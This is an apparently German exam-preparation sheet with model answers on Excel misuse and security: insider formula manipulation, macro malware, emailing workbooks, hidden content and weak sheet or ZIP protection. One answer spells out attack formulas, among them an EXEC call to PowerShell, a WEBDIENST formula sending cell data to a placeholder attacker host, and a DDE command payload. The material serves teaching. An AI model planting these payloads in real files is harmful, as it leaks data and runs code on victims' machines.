QUBA – Excel-Sicherheit & Missbrauch

Status: GEPRÜFT (1,0) — Alle drei Szenarien-Aufgaben sind offene „Nennen Sie drei“-Enumerationen; die genannten Szenarien (Insider-Manipulation, Makro-Malware, Office-Exploit, Fälschung, Datenexfiltration) sind fachlich korrekt & punktesicher. Eine kanonische Vorlesungs-Priorisierung der „drei gebräuchlichen“ Verbrechens-Szenarien ist im Folienskript/Transkript nicht als feste Liste belegt — bei offener Enumeration ohne Notenrelevanz.

Cluster: Excel als „Tatwaffe“, problematische Sicherheitsarchitektur, unsicherer Versand. In der Klausur geht es um präzise, unterscheidbare Szenarien – nicht um Allgemeinplätze.

1. Tatwaffe Excel – „Agent Tesla“-Malware

Frage: Ausgangsmeldung (kes-informationssicherheit.de, 23.12.2023): „Hacker nutzen Sicherheitslücke in Excel zur Verbreitung von ‚Agent Tesla'-Malware.“ Excel spielt häufig eine sehr unrühmliche Rolle, wenn es um Verbrechen geht – einerseits wegen des Marktanteils von mindestens 85 %, andererseits wegen der teilweise problematischen Sicherheitsarchitektur. Erläutern Sie drei verschiedene, gebräuchliche Szenarien von Verbrechen unter Zuhilfenahme von Excel möglichst präzise.

Musterlösung (drei Szenarien):

1. Betrug / Manipulation von Finanzdaten (Innentäter). Ein Mitarbeiter in Buchhaltung oder Finanzwesen ändert gezielt Formeln oder Rohdaten, um Ergebnisse zu fälschen – z. B. um nicht autorisierte Überweisungen zu verschleiern oder die finanzielle Lage falsch darzustellen (Bilanzfälschung, Unterschlagung).

2. Verteilung von Malware über Makros. Eine Excel-Datei mit eingebetteten bösartigen Makros (VBA) wird per Phishing-E-Mail als scheinbar legitime Datei versendet. Aktiviert das Opfer die Makros, wird Schadcode ausgeführt (Nachladen von Malware wie „Agent Tesla“, Keylogger, Ransomware).

3. Ausnutzen von Software-Schwachstellen / Exploits. Angreifer nutzen bekannte Sicherheitslücken in Excel bzw. Office (auch ältere, ungepatchte), um über präparierte Dateien ohne Makros Code auszuführen. (Alternativ als drittes Szenario nennbar: Softwarepiraterie / Lizenzbetrug oder Datendiebstahl – siehe nächste Aufgabe.)

Hinweis: Der im Scan angefangene dritte Punkt „Softwareverkaufsbetrug oder hacken“ ist unscharf. Sauberer sind: Makro-Malware, Exploit über Office-Schwachstelle, Datenexfiltration/Insider-Manipulation. (Offene „Nennen Sie drei“-Frage — eine feste Vorlesungs-Priorisierung ist nicht belegt; drei sauber begründete Szenarien reichen für volle Punkte.)

2. Excel als Tatwaffe – drei Missbrauchsszenarien

(Klausur 29.07.2021, Aufgabe 1, 6 Punkte)

Frage: Als „Tat“ soll hier vereinfachend ein vorsätzliches oder fahrlässiges Handeln zum Schaden anderer verstanden werden, das moralisch verwerflich ist und/oder strafrechtliche Relevanz hat. Excel ist – wie viele Alltagswerkzeuge – eine Tatwaffe. Beschreiben Sie drei Szenarien ausführlich, in denen Excel als Tatwaffe missbraucht wird.

Musterlösung (drei Szenarien):

1. Manipulation von Finanzdaten. Umsatzzahlen künstlich aufblähen, falsche oder überhöhte Zahlen eintragen, um Investoren/Aktionäre zu täuschen. Strafrechtlich als Betrug relevant.

2. Erstellung gefälschter Dokumente. Gefälschte Rechnungen, Bestellungen oder Abrechnungen in Excel, um illegale Geschäfte zu vertuschen oder unrechtmäßige Zahlungen an Dritte zu rechtfertigen.

3. Datendiebstahl und -weitergabe. Sensible Informationen (Kundenlisten, personenbezogene Daten, Geschäftsgeheimnisse) werden in Excel kopiert und unbefugt an Wettbewerber weitergegeben – Verstoß gegen Datenschutz (DSGVO) und Geschäftsgeheimnisschutz.

Kernaussage: Excel ist Werkzeug – der Missbrauch entsteht durch den Anwender. Das unterstreicht die Bedeutung von Sicherheitsmaßnahmen und Kontrollen (Zugriffsrechte, Vier-Augen-Prinzip, Protokollierung).

3. Arbeitsmappen per E-Mail – warum unprofessionell?

(Klausur 29.07.2021, Aufgabe 6, 6 Punkte)

Frage: Erläutern Sie drei verschiedene und wichtige Gründe, warum es unprofessionell ist, Excel-Arbeitsmappen per E-Mail zu zirkulieren.

Musterlösung (drei Gründe):

1. Sicherheitsrisiken. E-Mail ist ein unsicherer Übertragungsweg für sensible Daten (Finanzdaten, personenbezogene Daten, Pläne). E-Mails können abgefangen, gehackt oder über Phishing kompromittiert werden → Datenleck, unbefugter Zugriff, DSGVO-Verstoß.

2. Versionierungs- und Konsistenzprobleme. Wenn dieselbe Mappe per E-Mail hin- und hergeschickt wird, entstehen mehrere parallele Versionen. Es ist unklar, welche die aktuelle ist; unterschiedliche Bearbeiter speichern unterschiedliche Stände → Dateninkonsistenz, „Version-Wildwuchs“.

3. Mangelnde Auditierbarkeit / Nachvollziehbarkeit. Per E-Mail lässt sich nicht sauber protokollieren, wer wann was geändert hat. In regulierten Branchen (Revisionssicherheit, Compliance) ist das ein K.-o.-Kriterium.

Bessere Praxis: zentrale, kollaborative Plattform (SharePoint/OneDrive/Teams, Cloud-Co-Authoring) mit Zugriffsrechten, Versionshistorie und Änderungsprotokoll statt E-Mail-Anhang.

🎯 Übungsaufgaben im Rohleder-Stil — gelöst

Selbst gebaute Aufgaben nach dem gemessenen Muster der echten Klausuren: nur „Erläutern Sie“, konkrete Formeln lesen und kritisieren, Presse-Fälle, Rollenwechsel. Grün umrandet = kein Original.

a) 2 P. – Unterschied der Prüfperspektiven

Die Innenrevision prüft im Interesse des Unternehmens und fragt, ob die Zahlen richtig sind, ob Vermögen und Ruf des Hauses vor Schaden geschützt werden und ob die internen Regeln eingehalten wurden. ⟨1⟩ Die oder der Datenschutzbeauftragte prüft dagegen die Rechtmäßigkeit der Verarbeitung personenbezogener Daten und schützt dabei die betroffene Person, notfalls auch gegen ein wirtschaftliches Interesse des eigenen Hauses, weshalb Fragen wie Erforderlichkeit, Zweckbindung und Löschung im Vordergrund stehen. ⟨2⟩

b) 10 P. – Checkliste „Personenbezogene Daten in Excel-Arbeitsmappen der Personalabteilung"

Jede Frage ist so gestellt, dass ein „Nein" einen konkreten, prüfbaren Mangel bezeichnet.

Kriterium 1 sichert die Grundvoraussetzung jeder datenschutzrechtlichen Bewertung, denn eine Verarbeitung, die niemand kennt, kann auch niemand prüfen. ⟨1⟩ Kriterium 2 setzt den Grundsatz der Datenminimierung um, weil der übliche Vollexport aus dem Personalsystem regelmäßig weit mehr Felder enthält, als die konkrete Auswertung benötigt. ⟨2⟩ Kriterium 3 verhindert, dass die Mappe für die halbe Belegschaft lesbar ist, weil Zugriffsrechte am Ablageort und nicht im Blattschutz geregelt werden müssen. ⟨3⟩ Kriterium 4 zielt auf den häufigsten Verbreitungsweg, denn ein Anhang verlässt den kontrollierten Bereich endgültig und lässt sich weder zurückholen noch nachverfolgen. ⟨4⟩ Kriterium 5 adressiert genau den Vorfall des Ausgangsfalls, bei dem Inhalte veröffentlicht wurden, die in der Ausgabe gar nicht erscheinen sollten. ⟨5⟩ Kriterium 6 macht aus dem abstrakten Löschgebot eine überprüfbare Handlung, weil die vergessene Kopie und nicht das Original der typische Datenschutzverstoß ist. ⟨6⟩ Kriterium 7 trägt dem erhöhten Schutzbedarf besonderer Datenkategorien Rechnung, deren Offenlegung für die betroffene Person ungleich schwerer wiegt. ⟨7⟩ Kriterium 8 schützt die Datei dort, wo die Zugriffsrechte des Ablageorts nicht mehr wirken, also auf Laptop, Stick und in der Ablage des Empfängers. ⟨8⟩ Kriterium 9 stellt die Rechenschaftspflicht sicher, denn ohne Protokoll lässt sich im Ernstfall nicht einmal feststellen, ob überhaupt jemand zugegriffen hat. ⟨9⟩ Kriterium 10 sichert die Reaktionsfähigkeit, weil die Meldefrist im Ernstfall abläuft, während die Beteiligten noch klären, wer zuständig ist. ⟨10⟩

Rohleders Erwartung: Er will genau zehn echte Ja/Nein-Fragen, die aus der Rolle abgeleitet sind und nicht die Innenrevisions-Liste mit anderem Deckblatt wiederholen. Datenschutz-spezifisch sind Erforderlichkeit, Zweckbindung, Löschfrist, besondere Datenkategorien und Meldepflicht; wer nur Passwort, Backup und Makros abfragt, hat die Rolle nicht gewechselt.

a) 2 P. – Ausblenden ist eine Anzeigeeinstellung

Ausgeblendete Zeilen, Spalten und Tabellenblätter bleiben vollständig in der Datei enthalten und sind mit wenigen Klicks wieder einzublenden, weshalb das Ausblenden ausschließlich die Darstellung am Bildschirm betrifft und den Inhalt in keiner Weise entfernt. ⟨1⟩ Auch Blattschutz und als „sehr verborgen" markierte Blätter sind Bedien- und Anzeigefunktionen und keine Sicherheitsfunktionen, und bei jeder Weiterverarbeitung, jedem Formatwechsel und jedem Umsortieren kann der verborgene Inhalt unvermittelt wieder auftauchen. ⟨2⟩

b) 6 P. – Drei Maßnahmen für die Weitergabe

1. Eine eigene Fassung für die Weitergabe erzeugen. Für den Empfänger wird eine separate Datei erstellt, in der die nicht bestimmten Inhalte tatsächlich gelöscht sind, und die Ergebnisse werden bei Bedarf nur als Werte eingefügt, sodass weder Formeln noch die dahinterliegenden Quelldaten mitgehen. ⟨1⟩ Das Original bleibt unangetastet im geschützten Bereich, wodurch sich die Weitergabe-Fassung jederzeit gegen die vereinbarte Liste prüfen lässt und ein Fehler nicht die Arbeitsgrundlage zerstört. ⟨2⟩

2. Dokumentprüfung vor dem Versand. Excel bringt unter „Datei" und „Informationen" die Funktion „Auf Probleme überprüfen" mit, die ausgeblendete Zeilen, Spalten und Blätter, Kommentare, persönliche Informationen und weitere Metadaten aufspürt und auf Wunsch entfernt. ⟨3⟩ Dieser Schritt gehört als fester Bestandteil in den Freigabeprozess, weil er genau die Inhalte findet, die man nicht sucht, da man nicht weiß, dass sie vorhanden sind. ⟨4⟩

3. Vier-Augen-Freigabe über einen kontrollierten Kanal. Die zur Weitergabe bestimmte Fassung wird von einer zweiten, nicht an der Erstellung beteiligten Person gegen die vereinbarte Liste geprüft und diese Prüfung dokumentiert, bevor die Datei das Haus verlässt. ⟨5⟩ Die Bereitstellung erfolgt anschließend über eine rechteverwaltete Plattform statt als Mailanhang, weil sich ein Anhang weder zurückholen noch nachverfolgen lässt und jede Weiterleitung unkontrolliert erfolgt. ⟨6⟩

Rohleders Erwartung: Er will die klare Unterscheidung zwischen Anzeigefunktion und Schutzfunktion und drei Maßnahmen, die den konkreten Fehler des Falls verhindert hätten. Allgemeine Sätze über Verschlüsselung und Passwörter treffen diesen Vorfall nicht, weil hier nichts geknackt, sondern nur eingeblendet wurde.

a) 2 P. – Das Dilemma

Eine Verwaltung steckt in einem Zielkonflikt zwischen Effizienz und Ausfallsicherheit: Je stärker sie ihre Abläufe in integrierte Systeme verlagert, desto schneller und fehlerärmer arbeitet sie, und desto vollständiger steht sie still, wenn diese Systeme ausfallen. ⟨1⟩ Auflösen lässt sich der Konflikt nicht, denn auf Digitalisierung zu verzichten ist wegen Tempo, Datenmenge und Vernetzung keine Option, und einen vollständigen Schutz gegen Angriffe gibt es nicht; das Dilemma ist deshalb dauerhaft zu steuern und nicht zu lösen. ⟨2⟩

b) 6 P. – Drei Anforderungen an eine geplante Rückfallebene

1. Vorbereitete, aktuelle und wirklich getrennte Daten. Eine Rückfallebene funktioniert nur, wenn die notfallkritischen Stammdaten regelmäßig exportiert und getrennt vom Produktivnetz aufbewahrt werden, denn wer sie erst im Ernstfall aus dem verschlüsselten System holen will, kommt nicht mehr daran. ⟨1⟩ Zur Anforderung gehört zwingend, dass die Wiederherstellung mindestens einmal geprobt wurde, weil ein nie zurückgespieltes Backup im Ernstfall genauso wertlos sein kann wie gar keines. ⟨2⟩

2. Eine vorgedachte Mappe mit Regeln statt Improvisation. Die Notfallmappe existiert als geprüfte Vorlage mit sauberer Trennung von Eingabe, Berechnung und Ausgabe, mit Datenüberprüfung auf den Eingabefeldern und mit Kontrollsummen, die falsche Zwischenergebnisse sichtbar machen. ⟨3⟩ Für sie ist ein fachlich Verantwortlicher benannt, und ihr Aufbau ist so dokumentiert, dass auch eine eingearbeitete Vertretung sie ohne Rückfragen bedienen kann, denn im Krisenfall arbeiten regelmäßig andere Personen als sonst. ⟨4⟩

3. Schutz und Nachvollziehbarkeit auch im Notbetrieb. Der Zugriff bleibt auf die befugten Personen beschränkt, der Datenträger ist verschlüsselt, und für sensible Vorgänge wie Zahlungen gilt weiterhin das Vier-Augen-Prinzip, weil eine Ausnahmesituation die Schutzpflichten nicht aufhebt. ⟨5⟩ Ergänzend wird schriftlich festgehalten, wer wann welche Vorgänge erfasst hat, damit die im Notbetrieb entstandenen Daten später überhaupt geprüft und zugeordnet werden können. ⟨6⟩

c) 2 P. – Grenzen des Notbetriebs und Nacharbeit

Excel kann im Notbetrieb weder ein Rollen- und Rechtekonzept noch Transaktionssicherheit, echte Mehrbenutzerfähigkeit oder einen automatischen Abgleich mit anderen Verfahren leisten, weshalb die Rückfallebene bewusst auf wenige, unaufschiebbare Vorgänge zu beschränken ist. ⟨1⟩ Nach der Rückkehr in den Regelbetrieb müssen sämtliche im Notbetrieb erfassten Vorgänge kontrolliert in das Fachverfahren nachgeführt, gegen die Notaufzeichnungen abgeglichen und die Notfallmappen anschließend geordnet gelöscht werden, damit keine zweite Wahrheit im Haus zurückbleibt. ⟨2⟩

Rohleders Erwartung: Er erwartet das Dilemma in zwei Sätzen und danach den Sprung von der Beschreibung zur Gestaltung: nicht „Excel half im Notfall", sondern welche Anforderungen eine geplante Rückfallebene erfüllen muss und wo sie endet. Der Rückweg in den Regelbetrieb gehört zwingend dazu, weil sonst aus der Notlösung ein Dauerzustand wird.

📜 Original-Klausuraufgaben aus den Altmeisterklausuren — gelöst

Rohleders eigener Wortlaut aus neun Klausuren 2021–2025. Wortgleiche Wiederholer sind in der Box markiert.

Vorbemerkung. Excel eignet sich deshalb als Tatwaffe, weil zwei Umstände zusammentreffen: Der Marktanteil liegt bei mindestens 85 %, sodass fast jedes Opfer eine Excel-Datei ohne Misstrauen öffnet, und die Sicherheitsarchitektur ist offen, weil Excel Formeln automatisch berechnet und eingebetteten Programmcode ausführen kann. Jedes Szenario wird nach demselben Schema beschrieben: Täter, Vorgehen, konkret missbrauchte Excel-Technik und Schaden.

a) 2 P. – Szenario 1: Manipulation von Finanzdaten durch einen Innentäter

⟨1⟩ Der Täter ist ein Mitarbeiter mit legitimem Zugriff auf die Arbeitsmappe, typischerweise aus Buchhaltung, Controlling oder Finanzwesen. Er verändert nicht die Software, sondern die Datei selbst, und er fälscht die Ergebnisse so, dass eine Unterschlagung oder eine geschönte Finanzlage bei oberflächlicher Prüfung nicht auffällt.

⟨2⟩ Die konkret missbrauchte Technik ist das heimliche Verkürzen eines Summenbereichs. Aus der korrekten Formel =SUMME(B2:B19) wird =SUMME(B2:B18); damit fällt die letzte, belastende Buchung aus der Summe heraus, während die Bilanz weiterhin stimmig wirkt. Ergänzend nutzen Täter das benutzerdefinierte Zahlenformat ;;;, das eine Zelle unsichtbar macht, obwohl ihr Wert rechnerisch weiter mitzählt. Der Schaden besteht in Unterschlagung, Bilanzfälschung und Untreue.

Bestandteil für Bestandteil: = leitet jede Excel-Formel ein und weist die Zelle an zu rechnen statt Text anzuzeigen. SUMME ist der Funktionsname und addiert alle Werte des übergebenen Bereichs. ( und ) umschließen das Argument. B2:B19 ist das Bereichsargument, wobei B die Spalte und 2 bzw. 19 die Zeilennummern bezeichnen. : ist der Bereichsoperator und bedeutet „von … bis“.

b) 2 P. – Szenario 2: Verbreitung von Malware über Makros

⟨1⟩ Der Täter ist ein externer Angreifer. Er versieht eine Excel-Datei mit bösartigem Makrocode und versendet sie per E-Mail als scheinbar legitimes Dokument, etwa als „Rechnung“ oder „Lieferschein“. Aktiviert das Opfer nach dem Öffnen die Makros über die Schaltfläche „Inhalt aktivieren“, startet der Schadcode und lädt Schadsoftware nach, beispielsweise den Info-Stealer Agent Tesla.

⟨2⟩ Missbraucht wird die Fähigkeit von Excel, beim Öffnen automatisch Programmcode auszuführen. Das geschieht entweder über ein VBA-Makro im Ereignis Workbook_Open(), das ohne weiteres Zutun anläuft, oder über eine alte Excel-4.0-Makrofunktion direkt in einer Zelle, etwa =EXEC("cmd.exe /c powershell -enc ..."). Dabei ist = der Formelstart, EXEC der Funktionsname einer alten Makrofunktion, die ein externes Programm startet, ( und ) umschließen das Argument, und die doppelten Anführungszeichen " " markieren den auszuführenden Befehl als Text. Der Schaden reicht vom Diebstahl von Zugangsdaten über Ransomware bis zur vollständigen Fernsteuerung des Rechners.

c) 2 P. – Szenario 3: Formel-/CSV-Injection und Datenabfluss

⟨1⟩ Der Täter ist ein Angreifer, der Daten in ein System einschleusen kann, das später als Excel- oder CSV-Datei geöffnet wird, beispielsweise über ein Web-Formular mit Export-Funktion. Er trägt in ein harmloses Textfeld einen Wert ein, der mit einem Formel-Startzeichen beginnt, also mit =, +, - oder @. Beim späteren Öffnen interpretiert Excel diese Zelle nicht als Text, sondern als Formel und führt sie aus, obwohl niemand bewusst eine Formel geschrieben hat.

⟨2⟩ Ein typisches Beispiel für den heimlichen Datenabfluss ist =WEBDIENST("http://angreifer.tld/?x="&A2). Dabei löst = die automatische Ausführung aus, WEBDIENST (englisch WEBSERVICE) ruft eine Internet-Adresse auf, ( und ) umschließen das Argument, "http://angreifer.tld/?x=" ist die als Text markierte Adresse des Angreifers, & ist der Verkettungsoperator und A2 der Zellbezug, dessen Inhalt an die Adresse angehängt wird. Damit verlässt der Zellinhalt unbemerkt das Unternehmen. Verwandte Varianten sind =HYPERLINK(...) und DDE-Befehle wie =cmd|'/c calc.exe'!A1. Der Schaden besteht in der Exfiltration vertraulicher Daten und im DDE-Fall in der Ausführung beliebiger Befehle.

Abschluss. Alle drei Fälle nutzen dieselbe Grundschwäche: Excel führt Inhalte automatisch aus, und Anwender vertrauen Excel-Dateien blind.

Rohleders Erwartung: Er will drei sauber voneinander getrennte Szenarien mit je einer konkret benannten Excel-Technik, nicht drei Varianten desselben Betrugs. Die Antwort trägt erst, wenn Täter, Vorgehen und missbrauchte Technik jeweils einzeln erkennbar sind.

Kurzantwort. Das Herumschicken von Excel-Arbeitsmappen per E-Mail ist unprofessionell, weil dabei unkontrollierte Versionskopien entstehen, keine Nachvollziehbarkeit von Änderungen gegeben ist und sensible Daten über einen unsicheren Weg verbreitet werden.

a) 2 P. – Grund 1: Versionschaos statt einer verbindlichen Quelle

⟨1⟩ Sobald eine Arbeitsmappe als Anhang verschickt wird, existiert sie mehrfach: das Original beim Absender und je eine Kopie in jedem Postfach der Empfänger. Bearbeiten mehrere Personen ihre jeweils eigene Kopie und schicken sie zurück, gibt es keine eindeutige aktuelle Version mehr.

⟨2⟩ Die Folge ist, dass Änderungen sich gegenseitig überschreiben oder widersprechen, dass auf veralteten Ständen weitergerechnet wird und dass Arbeit verloren geht, wenn zwei Kopien wieder zusammengeführt werden müssen. Es fehlt eine Single Source of Truth, also die eine für alle verbindliche Datei.

b) 2 P. – Grund 2: Keine Nachvollziehbarkeit und keine Revisionssicherheit

⟨1⟩ Eine E-Mail dokumentiert lediglich, dass eine Datei verschickt wurde, nicht aber, wer wann welche Zelle aus welchem Grund geändert hat. Ein durchgehender, prüfbarer Änderungsverlauf existiert nicht.

⟨2⟩ Die Folge ist, dass Fehler nicht bis zu ihrem Ursprung zurückverfolgt werden können und Verantwortlichkeiten nicht belegbar sind. In regulierten Bereichen wie Buchhaltung, Controlling und Wirtschaftsprüfung verstößt das gegen die Anforderungen an Revisionssicherheit und Compliance, weil dort eine lückenlose Historie der Datenänderungen vorgeschrieben ist.

c) 2 P. – Grund 3: Unsicherer Übertragungsweg und Datenschutzrisiko

⟨1⟩ E-Mails werden standardmäßig unverschlüsselt übertragen, und ein einmal versendeter Anhang liegt anschließend dauerhaft auf mehreren Mailservern und in mehreren Postfächern, also außerhalb jeder zentralen Kontrolle. Enthält die Arbeitsmappe personenbezogene oder finanzielle Daten, ist das ein ernsthaftes Risiko.

⟨2⟩ Die Folge ist, dass der Anhang abgefangen, versehentlich an Falsche weitergeleitet oder unkontrolliert kopiert werden kann, und dass sich Zugriffsrechte nachträglich nicht mehr entziehen lassen. Das gefährdet die Vertraulichkeit der Daten und kann einen Verstoß gegen die DSGVO darstellen.

Der professionelle Gegenentwurf. Statt die Datei zu den Leuten zu schicken, bringt man die Leute zur einen Datei: zentrale Ablage mit Co-Authoring über OneDrive, SharePoint oder Teams, Zugriff per Link statt per Anhang, automatischer Versionsverlauf mit Person und Zeitpunkt sowie Zell- und Blattschutz für die Bereiche, die nicht verändert werden dürfen.

Rohleders Erwartung: Er will drei trennscharfe Gründe mit je einer benannten Folge – und im Idealfall den professionellen Gegenentwurf, weil Kritik ohne Alternative in seinem Fach als halbe Antwort gilt.

Szenario 1 – Verbreitung von Schadsoftware über präparierte Arbeitsmappen

Der Angreifer versendet eine Arbeitsmappe als Anhang einer Phishing-Mail, die einen glaubwürdigen geschäftlichen Anlass vortäuscht, etwa eine Rechnung, eine Bestellbestätigung oder eine Gehaltsübersicht. ⟨1⟩ In der Datei steckt entweder ein VBA-Makro, das beim Aktivieren Schadcode nachlädt, oder ein Angriff auf eine bekannte Schwachstelle in Excel selbst, der ohne jedes Makro auskommt – genau dieser Weg wurde in der zugrunde liegenden Meldung zur Verbreitung der Schadsoftware Agent Tesla genutzt. ⟨2⟩ Ziel ist regelmäßig das Ausspähen von Zugangsdaten über einen Tastaturmitschnitt, das Nachladen weiterer Schadsoftware oder die Verschlüsselung der Unternehmensdaten zur Erpressung; strafrechtlich sind das Ausspähen von Daten, Computersabotage und Erpressung einschlägig. ⟨3⟩

Szenario 2 – Manipulation von Zahlen durch einen Innentäter

Eine Mitarbeiterin oder ein Mitarbeiter mit berechtigtem Zugriff auf eine Controlling-, Abrechnungs- oder Zahlungsmappe verändert gezielt einzelne Werte oder, unauffälliger, den Bereichsbezug einer Formel, sodass bestimmte Buchungen aus der Summenbildung herausfallen. ⟨4⟩ Weil Excel weder eine erzwungene Trennung von Eingabe und Rechenlogik noch ein Änderungsprotokoll kennt, hinterlässt ein solcher Eingriff keine Spur: Die Mappe rechnet weiter, meldet nichts und liefert ein Ergebnis, das im erwarteten Wertebereich liegt. ⟨5⟩ Typische Ausprägungen sind das Verschleiern nicht autorisierter Überweisungen, das Frisieren von Umsatz- oder Bestandszahlen gegenüber Geschäftsleitung, Banken oder Investoren sowie das Erstellen gefälschter Rechnungen und Abrechnungen; einschlägig sind Untreue, Betrug und Urkundenfälschung. ⟨6⟩

Szenario 3 – Datendiebstahl durch Export in eine Arbeitsmappe

Nahezu jedes Vorsystem bietet einen Export nach Excel an, und genau dieser Weg wird zur Ausschleusung genutzt: Kundenlisten, Preiskalkulationen, Personal- oder Gesundheitsdaten werden in eine Mappe gezogen und anschließend per E-Mail, über einen privaten Cloud-Speicher oder auf einem USB-Datenträger mitgenommen. ⟨7⟩ Die Datei fällt dabei nicht auf, weil der Export ein alltäglicher, berechtigter Vorgang ist und die entstandene Mappe technisch nicht von hunderten anderen zu unterscheiden ist; einmal exportiert, unterliegt sie keiner Rechtevergabe des Vorsystems mehr. ⟨8⟩ Verwertet werden die Daten typischerweise beim Wechsel zu einem Wettbewerber oder durch Verkauf; einschlägig sind der Verrat von Geschäftsgeheimnissen nach dem Geschäftsgeheimnisgesetz sowie datenschutzrechtliche Verstöße mit Meldepflicht und Bußgeldrisiko. ⟨9⟩

Rohleders Erwartung: Er verlangt ausdrücklich Präzision und drei verschiedene Szenarien – Täter, Weg und Schaden müssen je Szenario erkennbar sein, sonst zählt es als Allgemeinplatz. Der Bezug auf den Marktanteil und die Sicherheitsarchitektur ist in der Aufgabenstellung vorgegeben und sollte mindestens einmal ausdrücklich aufgegriffen werden.

🎙️ Aus der Vorlesung gebaut — gelöst

Aufgaben zu Themen, die er in den Aufzeichnungen betont, angedeutet oder live vorgeführt hat. Grün umrandet = kein Original.

a) 2 P. – Warum das Innenleben offenliegt

Das aktuelle Dateiformat von Excel ist kein geschlossenes Binärformat, sondern eine Sammlung von XML-Dateien in einem ZIP-Container, weshalb ein Umbenennen der Endung von .xlsx in .zip genügt, um das Archiv mit jedem beliebigen Packprogramm zu öffnen. ⟨1⟩ Im Verzeichnis xl/worksheets liegt je Tabellenblatt eine Datei sheet1.xml, sheet2.xml und so fort, die den vollständigen Blattinhalt mit Zeilen, Spalten, Werten und Formatverweisen in menschenlesbarer Auszeichnungssprache enthält; die Komprimierung dient allein der Dateigröße und nicht der Geheimhaltung. ⟨2⟩

b) 4 P. – Zwei Gründe für die Wirkungslosigkeit

1. Geschützt wird das Kennwort, nicht das Blatt. Der Hashwert samt Salt und Iterationszahl sichert lediglich, dass das eingegebene Kennwort nicht im Klartext in der Datei steht und nicht ohne Weiteres zurückgerechnet werden kann. ⟨1⟩ Der Blattinhalt selbst bleibt unverschlüsselt daneben liegen, und der gesamte sheetProtection-Abschnitt lässt sich mit der Entfernen-Taste löschen und die Datei anschließend zurückschreiben; damit ist der Schutz aufgehoben, ohne dass das Kennwort jemals gebrochen werden musste. ⟨2⟩

2. Der Angriff erfordert weder Spezialwissen noch Spezialsoftware. Der Ablauf steht in Blogs und auf einschlägigen YouTube-Kanälen frei verfügbar; Rohleder verweist ausdrücklich auf einen Excel-MVP mit einem Beitrag zum Entfernen aller sechs Kennworttypen. ⟨3⟩ Da der Vorgang auf jedem Rechner in unter einer Minute durchführbar ist, taugt der Blattschutz nicht einmal als Zeitbremse gegen einen entschlossenen Empfänger, sondern nur als Schutz gegen die versehentliche Änderung durch einen gutwilligen Anwender. ⟨4⟩

c) 4 P. – Zwei tatsächlich wirksame Maßnahmen

1. Vertraulichkeit über eine echte Verschlüsselung des Containers herstellen. Die Mappe wird vor dem Versand in ein Archiv mit AES-256 gepackt, wobei zusätzlich die Option zur Verschlüsselung der Dateinamen zu setzen ist, weil das Dateinamenverzeichnis eines gewöhnlichen ZIP-Archivs unverschlüsselt bleibt. ⟨1⟩ Das Kennwort muss auf einem anderen Weg als die Datei selbst übermittelt werden, sonst reist der Schlüssel neben dem Schloss und die Maßnahme verpufft. ⟨2⟩

2. Vertraulichkeit organisatorisch lösen, statt sie in die Datei zu verlagern. Personalkostendaten gehören in eine Ablage mit Rechtesystem und Protokollierung, aus der die Empfänger die für sie bestimmten Auswertungen ziehen, statt als Anhang zu zirkulieren, dessen weiteren Weg niemand mehr kontrolliert. ⟨3⟩ Der Blattschutz behält daneben eine legitime, aber ganz andere Aufgabe: Er verhindert das versehentliche Überschreiben von Formelzellen und ist dafür sogar besser ohne Kennwort einzusetzen, weil ein Kennwort eine Sicherheit vortäuscht, die es nicht gibt. ⟨4⟩

Rohleders Erwartung: Er hat den Angriff live vorgeführt und daran zwei Sätze gehängt, die als Merksätze gedacht sind: „keinen Schusspulver wert" und „nichts Niederträchtigeres als einen Schutz, der nicht schützt". Wer nur schreibt, der Blattschutz sei unsicher, hat den Punkt nicht; verlangt ist der Nachweis, warum ein starkes Hashverfahren an einer Stelle sitzt, an der es nichts nützt.

a) 2 P. – Was offenliegt

Der ZIP-Standard sieht die Verschlüsselung der einzelnen Dateien im Archiv vor, nicht aber die des Inhaltsverzeichnisses, weshalb die Dateinamen samt Ordnerstruktur unverschlüsselt im Archiv stehen und ohne Kennwort gelesen werden können. ⟨1⟩ Im geschilderten Fall verrät bereits der Dateiname, dass im April 2026 Kündigungen ausgesprochen wurden und wie viele Vorgänge das Paket umfasst; der schutzwürdige Sachverhalt ist damit offenbart, obwohl kein einziger Datensatz gelesen wurde. ⟨2⟩

b) 4 P. – Zwei Einstellungen und ihre Wirkung

1. Verschlüsselungsverfahren auf AES-256 umstellen. ZipCrypto stammt aus der Frühzeit des Formats und ist nach heutigem Maßstab nur eine sehr leichtgewichtige Verschlüsselung, die einem gezielten Angriff nicht standhält. ⟨1⟩ AES-256 gilt dagegen als nicht gebrochen und ist für den hier verlangten Schutzzweck ausreichend; der Preis ist die eingeschränkte Kompatibilität, weil der Empfänger ein Programm benötigt, das dieses Verfahren beherrscht. ⟨2⟩

2. Option zur Verschlüsselung der Dateinamen aktivieren. Erst dieser zusätzliche Haken zieht auch das Inhaltsverzeichnis in die Verschlüsselung ein, sodass ein Dritter weder Namen noch Anzahl noch Struktur der enthaltenen Dateien erkennt. ⟨3⟩ Die Option ist ausdrücklich zu setzen und ist keine Folge des Kennworts, weshalb sie in der Praxis regelmäßig vergessen wird und genau der Schaden aus Teilaufgabe a) entsteht. ⟨4⟩

c) 2 P. – Verbleibendes Restrisiko

Der Transportweg selbst bleibt unkontrolliert, denn eine E-Mail passiert mehrere Stationen, Postfächer werden im Rahmen von Vertretungsregelungen freigegeben, und hinter Funktionsadressen steht ein Personenkreis, den der Absender in aller Regel nicht kennt. ⟨1⟩ Hinzu kommt die Vertrauensfrage gegenüber der eingesetzten Software und dem Betriebssystem, die Rohleder mit zwei Pressemeldungen belegt, nach denen ein Mailprogramm den Klartext an verschlüsselte Nachrichten anhängte und der Hersteller in kennwortgeschützte Archive hineinsehen kann; ohne quelloffene Werkzeuge lässt sich das nicht überprüfen. ⟨2⟩

Rohleders Erwartung: Der Merksatz der Einheit ist nicht „ZIP ist unsicher", sondern die konkrete Lücke: Die Dateien sind verschlüsselt, das Verzeichnis nicht. Wer in der Antwort seinen Beispielnamen aufgreift und daran zeigt, dass Metadaten allein schon den Schaden erzeugen, trifft genau die Stelle, an der er im Unterricht innegehalten hat.

a) 2 P. – Warum der Ausschnitt erhalten bleibt

Das Zuschneiden ist im Standard eine reine Anzeigeeinstellung: Office speichert das vollständige Ursprungsbild weiter in der Datei und merkt sich zusätzlich, welcher Ausschnitt davon dargestellt werden soll. ⟨1⟩ Jeder Empfänger kann das Bild markieren, die Zuschneiden-Funktion erneut aufrufen und die Ränder wieder aufziehen, wodurch die zuvor verdeckten Zahlen unverändert sichtbar werden; es handelt sich also um eine optische Verdeckung und nicht um eine Löschung. ⟨2⟩

